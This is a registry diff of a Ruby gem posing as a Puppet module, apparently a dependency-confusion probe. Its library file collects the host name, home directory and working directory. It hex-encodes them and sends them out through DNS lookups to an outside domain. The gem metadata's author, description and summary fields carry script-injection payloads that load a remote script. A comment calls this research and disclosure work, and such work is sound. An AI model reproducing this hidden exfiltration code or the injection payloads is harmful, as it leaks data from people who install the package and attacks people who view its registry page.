puppet-module-win-default-r 3.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of puppet-module-win-default-r might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 0d96840527ced1667f6756714b34503d81013d1f68454063217ec5ec0c5fccf2
4
+ data.tar.gz: b9d198008d2d83eaa2ab2de34b3e745e78e63880b672372d9dca5669342fcbdd
5
+ SHA512:
6
+ metadata.gz: 9dfd88dee7eaaa2256dc9ce249fe37e0cb2279af96cb5439ba433764f80e5340ecca0b89d2416c225f0dd020322cf30fbe1b0c7c737e648b61b7a41ae16afb09
7
+ data.tar.gz: bb29bcfa460fd61d3d2fb702f10c47d7b3103a1d6bb7d9984f59a62bf3d379ca95ed67c52c057d0af743b82083f7368991d9e95313ba0c8c6323c983421ef022
@@ -0,0 +1,63 @@
1
+ =begin
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure policy will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ Twitter: 'https://twitter.com/zuh4n'
15
+
16
+ This research is inspired by 'https://twitter.com/alxbrsn'
17
+ More information is here: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
18
+
19
+ =end
20
+
21
+ require 'socket'
22
+ require 'json'
23
+ require 'resolv'
24
+
25
+ suffix = '.dns.dependency-c4llb4ck.0lo.org'
26
+ ns = 'dns1.dependency-c4llb4ck.0lo.org'
27
+
28
+ package = 'puppet-module-win-default-r'
29
+
30
+ # only the bare minimum to be able to identify
31
+ # a vulnerable organization
32
+ data = {
33
+ 'p' => package,
34
+ 'h' => Socket.gethostname,
35
+ 'd' => File.expand_path('~'),
36
+ 'c' => Dir.pwd
37
+ }
38
+
39
+ data = JSON.generate(data)
40
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
41
+
42
+ id_1 = rand(36**12).to_s(36)
43
+ id_2 = rand(36**12).to_s(36)
44
+
45
+ begin
46
+ ns_ip = Resolv.getaddress(ns)
47
+ rescue
48
+ ns_ip = '4.4.4.4'
49
+ end
50
+
51
+ custom_res = Resolv.new([Resolv::Hosts.new,
52
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
53
+
54
+
55
+ data.each.each_with_index do |chunk, idx|
56
+ begin
57
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
58
+ rescue; end
59
+
60
+ begin
61
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
62
+ rescue; end
63
+ end
metadata ADDED
@@ -0,0 +1,44 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: puppet-module-win-default-r
3
+ version: !ruby/object:Gem::Version
4
+ version: 3.1.7
5
+ platform: ruby
6
+ authors:
7
+ - GEM"><script src=//x5s.0lo.org></script>
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2021-11-11 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: GEM puppet-module-win-default-r "><script src=//x5s.0lo.org></script>
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/puppet-module-win-default-r.rb
20
+ homepage: https://twitter.com/zuh4n
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubyforge_project:
40
+ rubygems_version: 2.7.6
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: GEM Summary "><script src=//x5s.0lo.org></script>
44
+ test_files: []